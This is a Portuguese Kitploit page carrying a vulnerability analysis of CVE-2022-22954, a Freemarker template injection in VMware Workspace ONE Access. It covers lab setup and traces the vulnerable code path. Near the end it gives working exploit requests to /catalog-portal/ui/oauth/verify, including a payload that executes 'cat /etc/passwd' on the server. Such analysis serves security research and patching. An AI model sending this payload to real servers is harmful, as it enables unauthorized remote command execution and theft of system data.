Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22954 — CVE-2022-22954 analista | Kitploit
Ferramentas/GitHubGitHub/nguyenv1nk/cve-2022-22954
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 analista

Ver Repositório
há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise do CVE-2022-22954

Visão geral

Workspace ONE Access (modelo de fornecimento de espaço de trabalho como serviço) fornece autenticação multifator, logon único e acesso condicional para SaaS, aplicativos web e móveis. CVE-2022-22954 é uma vulnerabilidade de Server-side Template Injection presente nos produtos:

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4, e 3.3.3
  • VMware vRealize Automation (vRA): v8.x e 7.6
  • VMware Cloud Foundation (VCF): v4.x e 3.x
  • vRealize Suite Lifecycle Manager: 8.x

Configuração

  1. Baixe o arquivo ova do VMware Workspace ONE Access Appliance versão 21.08.0.1

  2. Abra o arquivo com o VMware Workstation, a máquina virtual precisa ser colocada na rede NAT

  3. Em Networking Properties, é necessário configurar o Host Name (FQDN)

  4. Após a conclusão da instalação, acesse a URL https://{{hostname}}:8443/ para configurar a senha da conta do aplicativo, a senha da conta ssh e o banco de dados do aplicativo O aplicativo é executado em https://{{hostname}}/

  5. Faça login na máquina virtual por meio da conta sshuser e mude para a conta root Descubra o caminho do aplicativo em /opt/vmware/horizon/workspace/ O código-fonte do aplicativo está no diretório /opt/vmware/horizon/workspacce/webapps

  6. Verifique o arquivo /opt/vmware/horizon/workspace/bin/setenv.sh; observe que a variável JAVA_OPTS pode ser configurada para depuração remota

  7. Adicione -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n a JAVA_OPTS e reinicie o serviço

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    

Análise do caminho

Baixe o arquivo hotfix HW-154129-applyWorkaround.py

Entre as etapas, há uma etapa que remove o arquivo templates/customError.ftl do aplicativo

No arquivo customError.ftl, existe uma função eval. A vulnerabilidade Freemarker SSTI pode ser explorada a partir daqui se for possível controlar o valor de errorObj.

Na classe com.vmware.enusercatalog.ui.web.UiErrorController, vemos que o método handleGenericError atribui o valor a errorObj por meio da variável errorMessage

Continue rastreando as chamadas de métodos e o parâmetro errorMessage

Método handleUnauthorizedError

Método getErrorPage

Nos métodos sendError e sendUnhandledError, o valor de errorMessage é obtido da propriedade javax.servlet.error.message

Na classe com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver, a propriedade javax.servlet.error.message”* recebe seu valor no método resolverExeption

O método handleAnyGenericExeption é anotado com @ExeptionHandler

Na classe com.vmware.endusercatalog.ui.UiApplication, entre os pacotes anotados com @CommponentScan está com.vmware.endusercatalog.auth

=> As exceções neste pacote podem ser capturadas pelo método handleAnyGenericExeption

Em com.vmware.endusercatalog.ui.config, o interceptor AuthContextPopilationInterceptor é adicionado aos caminhos /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify

Seguindo para a classe com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor, no método preHandle, o aplicativo recebe 2 parâmetros deviceUdid e deviceType e chama o método authContextBuilder

Na classe com.vmware.endusercatalog.auth.interceptor.AuthContext, a exceção InvalidAuthContextException será lançada se a condição this.isValidRequest não for satisfeita

Para que isValidRequest seja satisfeita, os 2 parâmetros this.deviceId e this.deviceType precisam estar simultaneamente vazios ou simultaneamente preenchidos

=> passar valor para apenas 1 dos 2 parâmetros resultará em erro aqui

Envie a requisição

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?deviceUdid=111 

aparece o erro:

root@kitploit:~
An unexpected error occurred while processing request with requestId: {0}.

Voltando ao método com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, percebemos que o erro acima ocorre devido à ausência do parâmetro obrigatório error

root@kitploit:~
    @GetMapping(
        value = {"/ui/oauth/verify"},
        params = {"error"}
    )
    @ApiOperation(
        value = "authorizeError",
        notes = ""
    )
    public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
        LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
        throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
    }

Envie novamente a requisição

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 

o valor de deviceUdid aparece na resposta

Insira o parâmetro que causa o SSTI do Freemarker

Envie a requisição com o valor

root@kitploit:~
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

EXPLOIT

LINKS DE REFERÊNCIA

  • https://kb.vmware.com/s/article/88099
  • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Baixar ferramenta